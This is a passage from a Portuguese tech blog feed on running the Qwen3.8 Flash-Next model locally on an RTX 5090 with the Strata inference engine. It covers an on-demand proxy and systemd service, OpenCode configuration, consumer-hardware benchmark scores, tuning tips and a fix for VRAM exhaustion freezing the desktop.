<li>depois de 10 minutos sem tráfego, derruba o Strata e devolve a placa e a RAM pro sistema; nunca no meio de uma requisição.</li>
</ul>
<p>O miolo é este:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">ensure_up</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="n">_lock</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">ready</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="kc">True</span>
</span></span><span class="line"><span class="cl">        <span class="n">subprocess</span><span class="o">.</span><span class="n">Popen</span><span class="p">([</span><span class="n">STRATA</span><span class="p">,</span> <span class="s2">&#34;serve&#34;</span><span class="p">,</span> <span class="s2">&#34;--config&#34;</span><span class="p">,</span> <span class="n">CFG</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                          <span class="s2">&#34;--host&#34;</span><span class="p">,</span> <span class="s2">&#34;127.0.0.1&#34;</span><span class="p">,</span> <span class="s2">&#34;--port&#34;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">UP_PORT</span><span class="p">)],</span>
</span></span><span class="line"><span class="cl">                         <span class="n">start_new_session</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">90</span><span class="p">):</span>          <span class="c1"># carga a frio leva ~35-40 s</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="n">ready</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">                <span class="n">set_reserve</span><span class="p">()</span>        <span class="c1"># devolve VRAM pro desktop</span>
</span></span><span class="line"><span class="cl">                <span class="k">return</span> <span class="kc">True</span>
</span></span><span class="line"><span class="cl">            <span class="n">time</span><span class="o">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="kc">False</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">idle_watch</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">time</span><span class="o">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">30</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">time</span><span class="o">.</span><span class="n">time</span><span class="p">()</span> <span class="o">-</span> <span class="n">_last</span> <span class="o">&gt;</span> <span class="n">IDLE_TTL</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="c1"># nunca derrube o motor com requisição em voo (ver abaixo),</span>
</span></span><span class="line"><span class="cl">            <span class="c1"># mas com teto: requisição vazando não prende a GPU pra sempre</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="n">_active</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="ow">and</span> <span class="p">(</span><span class="n">time</span><span class="o">.</span><span class="n">time</span><span class="p">()</span> <span class="o">-</span> <span class="n">_last</span><span class="p">)</span> <span class="o">&lt;</span> <span class="n">ACTIVE_HARD_CAP_S</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                <span class="k">continue</span>
</span></span><span class="line"><span class="cl">            <span class="n">stop_up</span><span class="p">()</span>                <span class="c1"># libera GPU e ~50 GB de RAM</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>E um serviço de usuário do systemd mantém o proxy de pé desde o login (versão resumida):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ini" data-lang="ini"><span class="line"><span class="cl"><span class="c1"># ~/.config/systemd/user/qwen-strata.service</span>
</span></span><span class="line"><span class="cl"><span class="k">[Unit]</span>
</span></span><span class="line"><span class="cl"><span class="na">Description</span><span class="o">=</span><span class="s">Qwen3.8 Flash-Next on-demand proxy (Strata RTX 5090)</span>
</span></span><span class="line"><span class="cl"><span class="na">After</span><span class="o">=</span><span class="s">network-online.target</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">[Service]</span>
</span></span><span class="line"><span class="cl"><span class="na">Environment</span><span class="o">=</span><span class="s">QWEN_IDLE_TTL=600</span>
</span></span><span class="line"><span class="cl"><span class="na">Environment</span><span class="o">=</span><span class="s">QWEN_VRAM_RESERVE_MIB=2560</span>
</span></span><span class="line"><span class="cl"><span class="na">Environment</span><span class="o">=</span><span class="s">QWEN_UP_PORT=8781</span>
</span></span><span class="line"><span class="cl"><span class="na">Environment</span><span class="o">=</span><span class="s">QWEN_PROXY_PORT=8080</span>
</span></span><span class="line"><span class="cl"><span class="na">ExecStart</span><span class="o">=</span><span class="s">%h/.local/bin/qwen-strata-ondemand</span>
</span></span><span class="line"><span class="cl"><span class="na">Restart</span><span class="o">=</span><span class="s">on-failure</span>
</span></span><span class="line"><span class="cl"><span class="na">KillMode</span><span class="o">=</span><span class="s">mixed</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">[Install]</span>
</span></span><span class="line"><span class="cl"><span class="na">WantedBy</span><span class="o">=</span><span class="s">default.target</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">systemctl --user daemon-reload
</span></span><span class="line"><span class="cl">systemctl --user <span class="nb">enable</span> --now qwen-strata.service</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>O bug do &ldquo;parou do nada&rdquo;<span class="hx:absolute hx:-mt-20" id="o-bug-do-parou-do-nada"></span>
    <a href="#o-bug-do-parou-do-nada" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>A primeira versão desse vigilante de idle tinha um bug maldoso, e vale contar porque ele ensina uma coisa sobre modelos que pensam sempre. O Flash-Next raciocina antes de responder, e numa fase longa de raciocínio ele pode ficar <strong>mais de 10 minutos sem emitir um único byte</strong>. Para o relógio de idle, aquilo era &ldquo;ninguém usando&rdquo;: o proxy derrubava o Strata no meio da própria requisição, engolia a truncagem do stream, e o OpenCode recebia um turno vazio, sem conteúdo e sem erro. O modelo parecia ter parado do nada.</p>
<p>Três correções, todas no proxy:</p>
<ul>
<li><strong>Contador de requisições em voo</strong> (<code>_active</code>, o <code>if</code> novo do trecho acima): enquanto houver uma requisição em andamento, o motor não cai. Com teto: depois de <code>QWEN_ACTIVE_HARD_CAP_S</code> (1 hora por padrão, seis vezes o TTL normal), até uma requisição vazando por bug não consegue prender a GPU e a RAM pra sempre.</li>
<li><strong>Relógio atualizado por byte</strong>: o contador de idle agora zera no início de cada requisição e a cada pedaço repassado no streaming. Geração em curso nunca conta como inatividade; o período sem byte nenhum, que é o raciocínio puro, fica coberto pelo <code>_active</code>.</li>
<li><strong>Falha honesta no meio do stream</strong>: se o motor morrer mesmo assim, o proxy agora emite um evento de erro no stream (<code>&quot;upstream engine died mid-stream&quot;</code>) em vez de fechar calado. O agente vê que a resposta morreu e tenta de novo, em vez de ficar olhando um turno vazio parecendo travado.</li>
</ul>
<p>O preço é a espera na primeira mensagem depois de um tempo parado. Em troca, quando eu não estou programando, a máquina volta a ser minha.</p>
<h2>Configurando o OpenCode<span class="hx:absolute hx:-mt-20" id="configurando-o-opencode"></span>
    <a href="#configurando-o-opencode" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O Strata tem um atalho, <code>strata connect opencode --write</code>, que escreve a configuração depois de perguntar e guarda backup. Na mão, é um provider compatível com OpenAI apontando pra porta local:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="s2">&#34;provider&#34;</span><span class="err">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;strata-5090&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;npm&#34;</span><span class="p">:</span> <span class="s2">&#34;@ai-sdk/openai-compatible&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;name&#34;</span><span class="p">:</span> <span class="s2">&#34;Strata (RTX 5090)&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;options&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;baseURL&#34;</span><span class="p">:</span> <span class="s2">&#34;http://127.0.0.1:8080/v1&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;apiKey&#34;</span><span class="p">:</span> <span class="s2">&#34;local&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;models&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;qwen3.8-flash-next-iq3_s&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;name&#34;</span><span class="p">:</span> <span class="s2">&#34;Qwen3.8 Flash-Next IQ3_S (Strata 5090)&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;reasoning&#34;</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;tool_call&#34;</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;limit&#34;</span><span class="p">:</span> <span class="p">{</span> <span class="nt">&#34;context&#34;</span><span class="p">:</span> <span class="mi">262144</span><span class="p">,</span> <span class="nt">&#34;input&#34;</span><span class="p">:</span> <span class="mi">229376</span><span class="p">,</span> <span class="nt">&#34;output&#34;</span><span class="p">:</span> <span class="mi">32768</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Qualquer chave serve, porque o servidor é local. O próprio Strata avisa que o OpenCode precisa do <code>limit.input</code>, pra saber quanto do contexto sobra pra entrada; no exemplo eu pus o contexto menos a saída máxima. O Claude Code também funciona, apontando <code>ANTHROPIC_BASE_URL</code> pra <code>http://127.0.0.1:8080</code> e ajustando <code>CLAUDE_CODE_MAX_CONTEXT_TOKENS</code> pro tamanho do contexto, já que o Strata fala a API da Anthropic também.</p>
<p>Um detalhe: por padrão o Strata atende uma requisição por vez. Se o seu agente dispara subagentes em paralelo, eles entram em fila.</p>
<h2>E no dia a dia?<span class="hx:absolute hx:-mt-20" id="e-no-dia-a-dia"></span>
    <a href="#e-no-dia-a-dia" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Se você tem a máquina pra isso, o resultado é bom. O Flash-Next passa de 150 tokens por segundo na maior parte do tempo, como dá pra ver no print do começo, e a chamada de ferramenta é sólida: no benchmark ele rodou as sete sprints no OpenCode sem nenhum empurrão, e no uso normal ele lê arquivo, roda comando e edita código sem tropeçar no formato.</p>
<p>Na prática, não sinto muita diferença pro Claude Code ou pro OpenCode com GLM ou Kimi na nuvem. E a nuvem não anda no melhor momento: na minha percepção, todos esses serviços estão um pouco mais lentos que o normal ultimamente, provavelmente sofrendo com demanda maior que a capacidade disponível. Rodando em casa, a velocidade é sempre a mesma, e o código não sai da minha máquina.</p>
<p>Mesmo com os tokens por segundo bons, eu ainda sinto o Flash-Next um pouco menos responsivo que um modelo comercial. Tem os segundos de leitura na primeira mensagem de cada sessão, a pausa quando ele precisa de especialistas que não estão na placa, e a carga a frio depois de um tempo parado. É o esperado: estamos rodando um modelo de servidor com os recursos no limite.</p>
<blockquote>
  <p>Considerando que é de graça e roda na minha máquina, ele está quase bom o suficiente. Pela primeira vez, rodar um modelo local pra programar parece um cenário usável de verdade, e eu me vejo usando cada vez mais como substituto.</p>

</blockquote>
<p>O porém continua sendo o hardware. Uma 5090, 96 GB de RAM e um processador forte são o mínimo pra esse cenário, e esse hardware está cada vez mais caro e difícil de achar. Mas, pra quem já tem, o Tier A em casa deixou de ser promessa.</p>
]]></content:encoded><category>modelos-locais</category><category>open-source</category><category>llms</category><category>hardware</category></item><item><title>LLM Benchmark v4: open source nível consumidor na RTX5090 ou Strix Halo. E o Strata?</title><link>https://www.akitaonrails.com/2026/10/22/llm-benchmark-v4-open-source-nivel-consumidor-rtx5090-strix-halo-strata/</link><guid isPermaLink="true">https://www.akitaonrails.com/2026/10/22/llm-benchmark-v4-open-source-nivel-consumidor-rtx5090-strix-halo-strata/</guid><pubDate>Thu, 22 Oct 2026 11:30:00 -0300</pubDate><description>&lt;p&gt;Nos dois últimos artigos eu cobri o &lt;a href="https://www.akitaonrails.com/2026/10/22/llm-benchmark-v4-open-source-que-so-cabe-em-4x-b300/"&gt;benchmark dos modelos grandes em 4x B300&lt;/a&gt; e a &lt;a href="https://www.akitaonrails.com/2026/10/22/llm-benchmark-v4-can-my-team-fit-in-a-4x-b300-h200/"&gt;conta de time e custo por usuário em B300 e H200&lt;/a&gt;. Agora a pergunta de todo desenvolvedor que não tem um pod na Runpod: &lt;strong&gt;hardware de consumidor já serve pra trabalhar com IA de verdade?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Voltei pra duas máquinas que eu já tinha: uma workstation com RTX 5090 e um mini PC Strix Halo. E com um motor de inferência novo, o Strata, que promete fazer MoE grande caber em PC comum. A resposta curta: um modelo de 125B já faz Tier A numa RTX 5090. O resto é mais complicado.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Nos dois últimos artigos eu cobri o <a href="/2026/10/22/llm-benchmark-v4-open-source-que-so-cabe-em-4x-b300/">benchmark dos modelos grandes em 4x B300</a> e a <a href="/2026/10/22/llm-benchmark-v4-can-my-team-fit-in-a-4x-b300-h200/">conta de time e custo por usuário em B300 e H200</a>. Agora a pergunta de todo desenvolvedor que não tem um pod na Runpod: <strong>hardware de consumidor já serve pra trabalhar com IA de verdade?</strong></p>
<p>Voltei pra duas máquinas que eu já tinha: uma workstation com RTX 5090 e um mini PC Strix Halo. E com um motor de inferência novo, o Strata, que promete fazer MoE grande caber em PC comum. A resposta curta: um modelo de 125B já faz Tier A numa RTX 5090. O resto é mais complicado.</p>
<h2>As máquinas, lado a lado<span class="hx:absolute hx:-mt-20" id="as-máquinas-lado-a-lado"></span>
    <a href="#as-m%c3%a1quinas-lado-a-lado" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Antes de qualquer nota, entenda a diferença física do que eu estou comparando:</p>
<table>
  <thead>
      <tr>
          <th>Hardware</th>
          <th>Memória</th>
          <th>Banda</th>
          <th>Arquitetura</th>
          <th>Custo aproximado</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>NVIDIA B300</td>
          <td>288 GB HBM3e</td>
          <td>~8 TB/s</td>
          <td>Blackwell Ultra, FP8 e FP4</td>
          <td>US$ 9/hora (Runpod)</td>
      </tr>
      <tr>
          <td>NVIDIA H200</td>
          <td>141 GB HBM3e</td>
          <td>~4,8 TB/s</td>
          <td>Hopper, FP8</td>
          <td>US$ 3,59/hora</td>
      </tr>
      <tr>
          <td>DGX Spark</td>
          <td>128 GB unificada</td>
          <td>273 GB/s</td>
          <td>GB10, FP4</td>
          <td>~US$ 6.950</td>
      </tr>
      <tr>
          <td>RTX 5090</td>
          <td>32 GB GDDR7</td>
          <td>~1,8 TB/s</td>
          <td>Blackwell sm_120, FP8/FP4</td>
          <td>US$ 1.999 sugerido (~5x no varejo)</td>
      </tr>
      <tr>
          <td>Strix Halo (Ryzen AI Max+ 395)</td>
          <td>128 GB unificada</td>
          <td>~256 GB/s</td>
          <td>gfx1151, ROCm</td>
          <td>~US$ 2.000</td>
      </tr>
  </tbody>
</table>
<p>O B300 tem mais de 30 vezes a banda de memória da Strix Halo. A 5090 tem 7 vezes. Isso explica por que o mesmo modelo voa numa máquina e rasteja na outra, e por que quantização deixa de ser detalhe e vira decisão de projeto.</p>
<p>E tem o detalhe da memória ser compartilhada: na Strix e na Spark, a mesma RAM serve CPU, GPU e sistema operacional. Não é VRAM dedicada, então a folga real é bem menor que o número bonito da caixa.</p>
<h2>O ranking em hardware de consumidor<span class="hx:absolute hx:-mt-20" id="o-ranking-em-hardware-de-consumidor"></span>
    <a href="#o-ranking-em-hardware-de-consumidor" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A régua é a mesma do benchmark v4 de sabotagem: 14 defeitos plantados, nota de vigilância de revisão, Tier A a partir de 83.</p>
<table>
  <thead>
      <tr>
          <th>Modelo / máquina</th>
          <th>Variante e engine</th>
          <th style="text-align: right">Nota / Tier</th>
          <th style="text-align: right">Velocidade</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><strong>Qwen3.8 Flash-Next</strong> (125B-A6B)</td>
          <td>RTX 5090, Strata, IQ3_S</td>
          <td style="text-align: right"><strong>91,0 (A)</strong></td>
          <td style="text-align: right">159,2 tok/s</td>
      </tr>
      <tr>
          <td>Ornith-1.5-35B-A3B</td>
          <td>RTX 5090, Strata, Q8_0 GGUF</td>
          <td style="text-align: right">64,5 (C)</td>
          <td style="text-align: right">~80 tok/s</td>
      </tr>
      <tr>
          <td>Qwen3.8-27B</td>
          <td>5090 → Strix, Q5_K_M → Q8_0</td>
          <td style="text-align: right">80,0 (B)</td>
          <td style="text-align: right">7,7 tok/s</td>
      </tr>
      <tr>
          <td>GLM-4.7-Flash (30B-A3B)</td>
          <td>RTX 5090, llama-swap, Q5_K_M</td>
          <td style="text-align: right">24,0 (D)</td>
          <td style="text-align: right">não medido</td>
      </tr>
  </tbody>
</table>
<p>O GLM-4.7-Flash completou o protocolo inteiro (depois de uma primeira tentativa aninhada que precisou de retry) e mesmo assim fracassou em detectar sabotagem. E tem uma lição de humildade no Qwen 27B: ele fez 80 na mesma tarefa em que fez 80,5 na B300, mas a 7,7 tokens por segundo na sonda Q8 e 706 minutos de relógio. Nota boa não paga produtividade.</p>
<p>Deixei de fora os testes que ainda não têm nota final: a Qwen3.8 Flash-Next na Strix com Strata só está confirmada como executável, e as densas de 27B foram descartadas na Strix pelo corte de 30 tok/s.</p>
<h2>O tuning que faz modelo rodar bem em PC<span class="hx:absolute hx:-mt-20" id="o-tuning-que-faz-modelo-rodar-bem-em-pc"></span>
    <a href="#o-tuning-que-faz-modelo-rodar-bem-em-pc" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Hardware de consumidor não perdoa configuração preguiçosa. O que eu aprendi na prática:</p>
<ul>
<li><strong>Na 5090, compile o llama.cpp pro sm_120.</strong> Imagem pronta cai em fallback PTX lento. É <code>-DGGML_CUDA=ON -DCMAKE_CUDA_ARCHITECTURES=120</code>, driver 570+, e nada de <code>--ctx-size 0</code> numa placa de 32 GB: o default de contexto de treino estoura a VRAM na primeira alocação. Contexto tem teto explícito, e se der OOM no primeiro request, corta 25 a 50%.</li>
<li><strong>KV cache em q8_0.</strong> Corta a memória de KV pela metade sem custo mensurável de qualidade. Flash-attention ligado por padrão, mas o GLM 4.7 Flash precisa dele desligado, porque a arquitetura deepseek2 dele é incompatível.</li>
<li><strong>Raciocínio híbrido dá trabalho.</strong> O Qwen3.8-27B, com a arquitetura SSM/Mamba, precisou de build fresco do llama.cpp/Ollama por causa do <code>ssm_conv1d</code>. E o modo &ldquo;sem raciocínio&rdquo; não impediu loop de coerência em uma das tentativas; a saída foi retomar na Strix com Q8_0 e <code>--reasoning off</code>. Não foi memória extra que resolveu, foi desligar o pensamento.</li>
<li><strong>Na Strix, o ajuste é ROCm, não mágica.</strong> <code>HSA_OVERRIDE_GFX_VERSION</code>, <code>GGML_HIP_NO_VMM</code>, <code>-dio</code>. O trunfo dela é capacidade (128 GB), não velocidade (~256 GB/s). Q4_K_M deu 12,6 tok/s e Q8_0 deu 7,7 tok/s, abaixo do meu corte de 30 tok/s pra uso interativo. Por isso a Strix virou escape hatch de modelo grande, não caixa de chat rápida.</li>
<li><strong>Especulação só ajuda com aceitação alta.</strong> Num <a href="https://mihai.ltd/blog/beating-llamacpp-from-scratch-consumer-amd"target="_blank" rel="noopener">teste do Mihai Farcas</a> numa RX 7900 XTX, a especulação por n-gram do llama.cpp, sem modelo de rascunho, teve só 5 de 64 tokens aceitos, e a vazão ficou igual numa rodada e caiu uns 2% na outra. O ganho aparece com um rascunhador feito pro modelo, como o ajudante que o Strata usa no Flash-Next.</li>
</ul>
<h2>O que é esse tal de Strata<span class="hx:absolute hx:-mt-20" id="o-que-é-esse-tal-de-strata"></span>
    <a href="#o-que-%c3%a9-esse-tal-de-strata" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O <a href="https://github.com/Niko1221/Strata"target="_blank" rel="noopener">Strata</a> é um motor de inferência open source, licença MIT, feito em torno de um modelo: o <strong>Qwen3.8 Flash-Next</strong>, um MoE de 125 bilhões de parâmetros que normalmente pede servidor. Ele também roda MoEs menores, como a Ornith-35B que testei aqui. O código é C++ e CUDA e reaproveita partes do llama.cpp/ggml. Tem builds pra NVIDIA (CUDA 12 e 13), AMD (inclusive Strix Halo), Intel Arc e Apple Silicon, e sobe uma API compatível com OpenAI e Anthropic em localhost, que pluga direto no Claude Code, Codex CLI ou OpenCode.</p>
<p>Cuidado com o nome. O Mihai Farcas publicou <a href="https://mihai.ltd/blog/beating-llamacpp-from-scratch-consumer-amd"target="_blank" rel="noopener">outro motor chamado Strata</a>, em Rust com kernels HIP, pra modelos densos pequenos do Qwen 3.5 numa RX 7900 XTX. São projetos diferentes, e o que rodou aqui foi o primeiro.</p>
<p>O problema que ele ataca é o MoE grande em máquina pequena. A estratégia é <strong>expert-offload</strong>, em camadas:</p>
<ul>
<li>o modelo tem 24.576 especialistas, 512 em cada uma das 48 camadas, e cada token usa só 10 por camada;</li>
<li>a GPU guarda uns 4 mil especialistas, os mais usados;</li>
<li>a RAM do sistema guarda todos;</li>
<li>uma tabela de consulta de uns 29 GB fica no SSD, e o modelo lê poucas linhas dela por token.</li>
</ul>
<p>Em cima disso, um ajudante pequeno chuta as próximas palavras e o modelo grande confere todas de uma vez. O README promete a mesma resposta 1,6 a 1,8 vez mais rápido. O mínimo é 32 GB somando RAM e VRAM, mais uns 80 GB de disco, e a variante IQ3_S que eu usei tem uns 55 GB.</p>
<p>O que me fez acreditar nele foi o resultado: o <strong>Qwen3.8 Flash-Next na 5090 com Strata fez 91,0, com zero nudges e os 14 itens resolvidos</strong>, a 1,5 ponto do 92,5 que o mesmo modelo fez na B300 com vLLM. O próprio relatório chama isso de &ldquo;dentro do ruído&rdquo;. Um projeto de comunidade, numa placa de consumidor, ficou colado no mesmo modelo servido em datacenter em NVFP4.</p>
<h3>E agora ele enxerga<span class="hx:absolute hx:-mt-20" id="e-agora-ele-enxerga"></span>
    <a href="#e-agora-ele-enxerga" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Até ontem, o meu Strata era cego: mandar imagem devolvia &ldquo;this server was started without the vision encoder&rdquo;. Habilitei a visão na mão, e foi mais simples do que parecia.</p>
<p>O projetor de visão (o <code>mmproj</code>) eu já tinha arquivado no NAS dentro da variante uncensored do Flash-Next. Conferi o sha256 dele contra o manifesto do arquivo e contra o hash que o Strata pinou pro encoder BF16, e subi uma cópia pro diretório de modelos. A configuração ganhou o flag <code>--vision</code> e uma seção <code>vision</code> apontando pro componente <code>strata-vision</code> e pro mmproj, com backup do lado.</p>
<p>A verificação foi de ponta a ponta: o encoder carrega em meio segundo, aquece 1.024 tokens de imagem em menos de dois segundos, e respondeu &ldquo;Red&rdquo; pra um quadrado vermelho de teste. E o detalhe que me importa mais: com o encoder residente, sobraram 3,65 GB de VRAM, então a reserva de 4 GB do desktop segue valendo. A única pegadinha: o carregamento preguiçoso não convive com a seção de visão nessa configuração, então ele fica desligado aqui.</p>
<h2>Cuidado: o Strata come a GPU toda, e o desktop morre<span class="hx:absolute hx:-mt-20" id="cuidado-o-strata-come-a-gpu-toda-e-o-desktop-morre"></span>
    <a href="#cuidado-o-strata-come-a-gpu-toda-e-o-desktop-morre" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Tem um custo que não aparece em benchmark: rodar o Strata na mesma GPU que desenha a sua área de trabalho. Ele foi feito pra encher a placa, e enche mesmo.</p>
<p>No meu caso, o motor alocou 32.085 dos 32.607 MiB da 5090, 98,4% da VRAM. O Hyprland ficou com uns 500 MiB pra si, as alocações do desktop falharam, e até o terminal parou de responder. Só resolveu com hard reset.</p>
<p>Foram duas falhas em sequência. A reserva que eu tinha configurado era de 2.560 MiB, mas o proxy disparava uma única vez, engolia a exceção e nunca tentava de novo. O endpoint <code>/v1/vram</code> ainda não estava no ar naquele instante, então a reserva não foi aplicada. E 2.560 MiB já era pouco pra Hyprland, navegador e terminal juntos.</p>
<p>A correção, validada em teste de carga:</p>
<ul>
<li>Reserva de <strong>4.096 MiB</strong> (4 GiB), com retry por até alguns minutos, verificação da resposta do motor e log de confirmação. Nada de fire-and-forget.</li>
<li>Reafirmação da reserva a cada 30 segundos enquanto o motor está carregado, pra fechar qualquer deriva de rebalanceamento.</li>
<li>No primeiro teste de carga, com a GPU a 99%, ficaram <strong>3.629 a 3.888 MiB livres durante toda a geração</strong>. No teste seguinte, uma geração longa e outras três requisições concorrentes terminaram com sucesso; a menor folga observada foi 3.949 MiB. O desktop continuou vivo.</li>
</ul>
<p>O preço aparece na vazão. O cache de especialistas caiu de uns 11.700 slots pra 9.700, então mais especialistas viajam por PCIe. Na medição inicial, saiu de ~200 pra ~150 tokens por segundo. Eu pago isso feliz: um desktop que não congela vale mais que aqueles 25% de velocidade naquele teste.</p>
<p>Tem uma alternativa estrutural: essa máquina tem uma Radeon 610M integrada, e dá pra mover o Hyprland pra ela. A 5090 ficaria dedicada à inferência.</p>
